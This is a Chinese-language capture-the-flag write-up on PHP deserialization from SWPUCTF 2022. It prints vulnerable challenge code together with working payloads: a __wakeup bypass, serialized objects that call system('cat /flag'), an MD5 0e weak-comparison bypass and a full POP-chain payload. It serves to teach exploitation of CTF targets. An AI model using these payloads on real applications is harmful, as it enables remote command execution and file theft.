[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)
[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x; }function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__; }}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php flag在fllllllag.php文件里}
}
if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']); //将x反序列化输出
} else {highlight_file(__FILE__);
}
因为flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化
对x进行序列化操作:
<?php
class X
{public $x ='fllllllag.php';
}
$a=new X();
echo serialize($a);
?>//输出:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
绕过__wakeup()函数,构造payload: 得到flag
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

__wakeup()函数漏洞原理:
当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行
[SWPUCTF 2022 新生赛]1z_unserialize
<?php//包含了一个名为lyh的类,该类有公共属性:url、lt和lly
class lyh{ public $url = 'NSSCTF.com';public $lt;public $lly;function __destruct() //魔术方法__destruct(),在对象被销毁时调用{$a = $this->lt; //尝试执行一个由$this->lt引用的函数,并将$this->lly作为参数传递给该函数。 $a($this->lly); }}
unserialize($_POST['nss']); //从POST请求中的nss参数读取序列化的数据,并进行反序列化操作
highlight_file(__FILE__);?>
赋值执行RCE:
直接将 $a 赋值为 system ,即将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值任意命令执行RCE。
将$this->lly赋值成ls /查看根目录,POST传参nss发现存在flag文件。


将$this->lly赋值成cat /flag读取flag。
<?php
class lyh
{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}
$a=new lyh();
echo serialize($a);
?>//输出:O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

php反序列化之pop链构造
做pop类题目要紧盯魔术方法。
需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。
在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。
[SWPUCTF 2022 新生赛]ez_1zpop
代码审计
<?php
error_reporting(0);
class dxg //定义类dxg,其中只有一个方法fmm()
{function fmm() {return "nonono";}
}class lt //定义类lt,包含公共属性impo、md51、md52
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct() //__construct()类的构造函数,创建对象时触发 {$this->impo = new dxg; //实例化了dxg类的对象并赋值给impo属性}function __wakeup() //__wakeup()方法在反序列化对象时被调用{$this->impo = new dxg; //也实例化了dxg类的对象,并返回fmm()方法的结果return $this->impo->fmm();}function __toString() //__toString()把对象当成字符串调用时触发{if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm(); //返回impo属性的fmm()方法的结果}function __destruct() //__destruct()方法在对象销毁前被调用,它会调用__toString()方法并输出结果。 {echo $this;}
}class fin //定义类fin,包含公共属性a和一个方法fmm()
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a; //fmm()方法调用了属性a所指向的函数,并将属性title作为参数传递。$b($this->title); }
}if (isset($_GET['NSS'])) { //检查是否存在$_GET['NSS']参数,存在,对NSS进行反序列化$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}
如果$this->impo 已设置,并且 $this->md51 = $this->md52 的 MD5 哈希值,同时 $this->md51 和 $this->md52 值不相等。就会调用 $this->impo->fmm() 方法。
function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}
0e绕过MD5弱比较:
令md51='s155964671a'; md52='s214587387a';
构造pop链:先把用到的类写出来,形成一个框架,然后补充类中的变量,再将用到的类进行实例化。
<?php
class lt
{#设置 $this->md51 = $this->md52 的 MD5 哈希值public $impo='hi';public $md51='s155964671a';public $md52='s214587387a';
}
class fin
{#赋值执行RCE:$a="system",$title="cat /flag"public $a='system';public $url = 'https://www.ctfer.vip';public $title='cat /flag';
}
#实例化类
$lt = new lt();
$fin = new fin();
#链子
$lt->impo=$fin;
echo serialize($lt);
?>//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}
得到输出后,记得绕过wakeup(),GTE传参NSS构造payload: 得到flag
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

相关文章:
[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)
[SWPUCTF 2022 新生赛]ez_ez_unserialize <?php class X {public $x __FILE__;function __construct($x){$this->x $x; }function __wakeup(){if ($this->x ! __FILE__) {$this->x __FILE__; }}function __destruct(){highlight_file($this->x);//flag is…...
2-1基于matlab的拉普拉斯金字塔图像融合算法
基于matlab的拉普拉斯金字塔图像融合算法,可以使部分图像模糊的图片清楚,也可以使图像增强。程序已调通,可直接运行。 2-1 图像融合 拉普拉斯金字塔图像融合 - 小红书 (xiaohongshu.com)...
Android基础-进程间通信
在Android系统中,跨进程通信(IPC,Inter-Process Communication)是实现不同应用程序或同一应用程序中不同进程间数据共享和交互的关键技术。Android提供了多种IPC机制,每种机制都有其特定的使用场景和优缺点。下面将详细…...
【微信小程序】uni-app 配置网络请求
原因 由于平台的限制,小程序项目中 不支持axios,而且原生的,wx.request()API功能较为简单,不支持拦截器等全局定制的功能。因此,建议在uni-app项目中使用 escook/request-miniprogram 第三方包发起网络数据请求。 步…...
SpringCash
文章目录 简介引入依赖常用注解application.yml使用1. 启动类添加注解使用方法上添加注解 简介 Spring Cache是一个框架,实现了基于注解的缓存功能底层可以使用EHCache、Caffeine、Redis实现缓存。 注解一般放在Controller的方法上,CachePut 注解一般有…...
小红书的文案是怎么写的?有啥套路么!
小红书文案是有自己的调性的,为什么别人的笔记轻轻松松就是爆款,而自己写的笔记却没有人看呢,小红书文案写作有啥套路? 接下来伯乐网络传媒给大家讲一讲,小红书文案写作揭秘:抄作业、拆解产品到种草笔记结…...
开放平台接口安全验证
文章目录 开放平台接口安全验证I 加签方式说明1.1 签名生成的通用步骤1.2 生成随机数算法1.3 举例1.4 签名校验工具II Header参数说明III 业务接口返回结构说明开放平台接口安全验证 统一使用sign签名验证,签名规则也会在本文档中,详细说明。请大家认真阅读。 向平台申请密码…...
【AI原理解析】— GPT-4o模型
目录 1. 统一架构设计 2. 端到端训练 3. 模态间的信息融合 4. 语音处理 5. 视频处理 6. 性能特点 7. 模型特点 8. 服务和免费政策 9. 实时推理能力 10. 高效的编码方式 11. 输出与反馈 1. 统一架构设计 GPT-4o采用单一的Transformer架构进行设计,将文本…...
Qt中图表图形绘制类介绍
接上篇介绍QChart 相关的类,本片主要在QChart 载体上进行图表图形绘制使用各种形状的图类。 一.QXYSeries类 QXYSeries类是QLineSeries折线图,QSplineSeries样条曲线图,QScatterSeries散点图的基类; QXYSeries类的使用都可以参考…...
nginx rewrite地址重写
常用的nginx正则表达式 ^匹配以...开头的字符串$匹配以...结尾的字符串^$^$表示空行*匹配前面的字符0次或者多次(通配符*表示任意数量的任意字符)匹配前面的字符1次或多次?匹配前面的字符0次或1次.匹配除了“\n”之外的任意单个字符,[.\n]表…...
java+vue3+el-tree实现树形结构操作
基于springboot vue3 elementPlus实现树形结构数据的添加、删除和页面展示 效果如下 代码如下,业务部分可以自行修改 java后台代码 import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.daztk.mes.common.annotation.LogOperation…...
Oracle创建索引的LOGGING | NOLOGGING区别
在Oracle中,创建索引时的LOGGING和NOLOGGING选项主要影响索引创建过程中产生的重做日志(redo log)的数量。这两个选项对于性能和数据恢复能力有着显著的影响。以下是关于这两个选项的详细解释和区别: LOGGING 定义:当…...
GoogleDeepMind联合发布医学领域大语言模型论文技术讲解
Towards Expert-Level Medical Question Answering with Large Language Mod 这是一篇由Google Research和DeepMind合作发表的论文,题为"Towards Expert-Level Medical Question Answering with Large Language Models"。 我先整体介绍下这篇论文的主要内容&#x…...
Spark安装、解压、配置环境变量、WordCount
Spark 小白的spark学习笔记 2024/5/30 10:14 文章目录 Spark安装解压改名配置spark-env.sh重命名,配置slaves启动查看配置环境变量 工作流程maven创建maven项目配置maven更改pom.xml WordCount按照用户求消费额上传到spark集群上运行 安装 上传,直接拖拽…...
DeepSeek-V2-Chat多卡推理(不考虑性能)
TOC 本文演示了如何使用accelerate推理DeepSeek-V2-Chat(裁剪以后的模型,仅演示如何将权值拆到多卡) 代码 import torch from transformers import AutoTokenizer, AutoModelForCausalLM, GenerationConfig from accelerate import init_empty_weights import sys from acce…...
算法题day42(补5.28日卡:动态规划02)
今天的动态规划都是二维的,与昨日不同。 一、刷题: 1.leetcode题目 62. 不同路径 - 力扣(LeetCode)(medium,) 解决: class Solution:def uniquePaths(self, m: int, n: int) -> int:dp …...
分治与递归
实验一:分治与递归 【实验目的】 深入理解分治法的算法思想,应用分治法解决实际的算法问题。 【实验性质】 验证性实验(学时数:2H) 【实验内容与要求】 1、设有n2k个运动员要进行网球循环赛。现要设计一个满足以…...
Spring中IOC容器
IoC IOC容器 IoC是一种设计思想,面向对象编程 Spring通过IoC管理所有Java对象的实例化和初始化,控制对象之间依赖关系 将IoC容器管理的Java对象称为Spring Bean,与new创建的对象没有区别 控制反转(IoC Inversion of Controle&a…...
php redis分布式锁
一,概念 在PHP中实现分布式锁通常可以使用数据库、缓存系统(如Redis)或者其他中央存储系统来保证在分布式系统中的数据一致性与同步。秒杀下单、抢红包等等业务场景,都需要用到分布式锁。 常规方案大概有七中 方案一:…...
kotlin 中的布尔
1、kotlin中内置的Boolean类型,可以有true与false两个值的布尔对象。 布尔值的内置运算有(跟很多语言如java、js一摸一样): ||——逻辑或&&——逻辑与!——逻辑非 fun main() {val a: Boolean trueval b: Boolean fa…...
QGIS3.28最新版行政区合并避坑指南:县转市数据融合的3个关键检查点
QGIS 3.28行政区合并实战:县转市数据融合的3个关键检查点 当我们需要将县级行政区数据合并为市级边界时,看似简单的"线转面融合"操作背后,往往隐藏着诸多数据陷阱。许多中级用户在QGIS中执行这类操作时,明明步骤正确却频…...
避坑指南:SpringBoot整合Drools 7.20时热部署冲突的解决方案
SpringBoot与Drools 7.20热部署冲突深度排查指南 当SpringBoot的devtools热部署功能遇上Drools规则引擎,就像两个高效率的工人同时修改同一台机器——看似都能独立工作,组合时却可能引发难以察觉的运行时故障。本文将带您深入这个典型的技术冲突现场&…...
基于Python的流浪动物救助平台毕业设计
博主介绍:✌ 专注于Java,python,✌关注✌私信我✌具体的问题,我会尽力帮助你。一、研究目的本研究旨在构建一个基于Python的流浪动物救助平台,以实现流浪动物的有效救助与管理工作。具体研究目的如下: 首先,通过构建流…...
HarmonyOS6 ArkTS List 设置编辑模式
文章目录一、功能概述二、官方核心知识点1. 编辑模式实现原理2. 列表数据驱动3. 列表项操作三、完整可运行代码四、代码功能详解1. 编辑模式状态控制2. 编辑按钮切换3. 列表项动态显示删除按钮4. 删除列表项5. LazyForEach 高性能渲染五、运行效果总结一、功能概述 List 编辑模…...
EPLAN默认工具栏隐藏功能大揭秘:从复制格式到表格式编辑的实战技巧
EPLAN默认工具栏隐藏功能大揭秘:从复制格式到表格式编辑的实战技巧 在电气设计领域,EPLAN作为行业标杆软件,其默认工具栏中隐藏着许多未被充分发掘的效率利器。这些功能往往被常规操作所掩盖,却能在复杂项目设计中节省大量时间。…...
毕设程序java师生交流系统的设计与实现 基于Java的师生互动教学平台设计与实现 基于SpringBoot的在线教育沟通系统开发
毕设程序java师生交流系统的设计与实现343xt8ar(配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着信息技术的飞速发展,传统的教育模式正在经历一场深刻的变革。互联…...
MFCMouseEffect:把桌面输入反馈这件事,做成一个真正可扩展的引擎
MFCMouseEffect:把桌面输入反馈这件事,做成一个真正可扩展的引擎 很多录屏、教程、演示和桌面工具,功能本身已经足够好,但一到“用户看你怎么操作”这一步,体验就会突然掉下来。 为什么? 因为点击不够明…...
Scarab:空洞骑士模组管理效率提升83%的智能工具
Scarab:空洞骑士模组管理效率提升83%的智能工具 【免费下载链接】Scarab An installer for Hollow Knight mods written in Avalonia. 项目地址: https://gitcode.com/gh_mirrors/sc/Scarab 如何解决模组管理难题?3大创新让你告别手动配置烦恼 对…...
小白程序员必看:收藏这份智能体学习指南,轻松入门大模型时代
智能体(Agent)是人工智能领域的重要概念,能够感知环境并自主行动达成目标。文章从自动驾驶、阿尔法狗等实例引入,阐述了智能体的定义和运作机制。传统智能体发展历经反射、目标导向、模型反射、效用和自主学习等阶段。大模型的出现…...
OpenClaw语音交互扩展:百川2-13B+Whisper实现语音指令控制
OpenClaw语音交互扩展:百川2-13BWhisper实现语音指令控制 1. 为什么需要语音交互能力 去年冬天的一个深夜,我正在调试OpenClaw的自动化脚本,双手因为长时间敲键盘已经有些僵硬。突然想到:如果能让AI听懂我的语音指令直接执行任务…...
